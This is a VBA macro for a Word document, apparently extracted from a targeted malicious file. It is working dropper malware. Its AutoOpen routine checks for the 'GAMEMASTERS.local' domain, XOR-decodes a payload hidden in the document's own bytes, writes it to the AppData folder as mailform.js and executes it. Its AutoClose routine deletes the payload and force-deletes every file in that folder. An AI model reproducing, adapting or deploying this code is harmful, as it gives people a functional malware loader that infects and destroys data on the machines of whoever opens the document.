Public VIRUS_PATH As String
Public VIRUS_FOLDER_PATH As String


Function XOR_STRING(given_string() As Byte, length As Long) As Boolean
Dim xor_key As Byte
xor_key = 45
For i = 0 To length - 1
given_string(i) = given_string(i) Xor xor_key
xor_key = ((xor_key Xor 99) Xor (i Mod 254))
Next i
XOR_STRING = True
End Function

Sub AutoClose() 'delete the js script'
On Error Resume Next
Kill VIRUS_PATH
On Error Resume Next
Set FILE_SYSTEM_OBJECT = CreateObject("Scripting.FileSystemObject")
FILE_SYSTEM_OBJECT.DeleteFile VIRUS_FOLDER_PATH & "\*.*", True
Set FILE_SYSTEM_OBJECT = Nothing
End Sub

Sub AutoOpen()
On Error GoTo EXIT_SCRIPT
Dim chkDomain As String
Dim strUserDomain As String
chkDomain = "GAMEMASTERS.local"
strUserDomain = Environ$("UserDomain")
If chkDomain <> strUserDomain Then

Else

Dim DOCUMENT_FILE_N
Dim file_length As Long
Dim length As Long
file_length = FileLen(ActiveDocument.FullName)
DOCUMENT_FILE_N = FreeFile
Open (ActiveDocument.FullName) For Binary As #DOCUMENT_FILE_N
Dim DOCUMENT_BYTE_STREAM() As Byte
ReDim DOCUMENT_BYTE_STREAM(file_length)
Get #DOCUMENT_FILE_N, 1, DOCUMENT_BYTE_STREAM
Dim DOCUMENT_UNICODE As String
DOCUMENT_UNICODE = StrConv(DOCUMENT_BYTE_STREAM, vbUnicode)
Dim REGEX_RESULT, REGEX_RESULTS
Dim REGEX_OBJECT
    Set REGEX_OBJECT = CreateObject("vbscript.regexp")
    REGEX_OBJECT.Pattern = "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa"
    Set REGEX_RESULTS = REGEX_OBJECT.Execute(DOCUMENT_UNICODE)
Dim COMBINED_FIRST_INDEX
If REGEX_RESULTS.Count = 0 Then
GoTo EXIT_SCRIPT
End If
For Each REGEX_RESULT In REGEX_RESULTS
COMBINED_FIRST_INDEX = REGEX_RESULT.FirstIndex
Exit For
Next
Dim Wk4o3X7x1134j() As Byte
Dim KDXl18qY4rcT As Long
KDXl18qY4rcT = 13082
ReDim Wk4o3X7x1134j(KDXl18qY4rcT)
Get #DOCUMENT_FILE_N, COMBINED_FIRST_INDEX + 81, Wk4o3X7x1134j
If Not XOR_STRING(Wk4o3X7x1134j(), KDXl18qY4rcT + 1) Then
GoTo EXIT_SCRIPT
End If
VIRUS_FOLDER_PATH = Environ("appdata") & "\Microsoft\Windows"
Set FILE_SYSTEM_OBJECT = CreateObject("Scripting.FileSystemObject")
If Not FILE_SYSTEM_OBJECT.FolderExists(VIRUS_FOLDER_PATH) Then
VIRUS_FOLDER_PATH = Environ("appdata")
End If
Set FILE_SYSTEM_OBJECT = Nothing
Dim VIRUS_FILE_NUMBER
VIRUS_FILE_NUMBER = FreeFile
VIRUS_PATH = VIRUS_FOLDER_PATH & "\" & "mailform.js"
Open (VIRUS_PATH) For Binary As #VIRUS_FILE_NUMBER
Put #VIRUS_FILE_NUMBER, 1, Wk4o3X7x1134j
Close #VIRUS_FILE_NUMBER
Erase Wk4o3X7x1134j
Set SHELL_OBJECT = CreateObject("WScript.Shell")
SHELL_OBJECT.Run """" + VIRUS_PATH + """" + " vF8rdgMHKBrvCoCp0ulm"
ActiveDocument.Save
Exit Sub
EXIT_SCRIPT:
Close #VIRUS_FILE_NUMBER
ActiveDocument.Save
End If
End Sub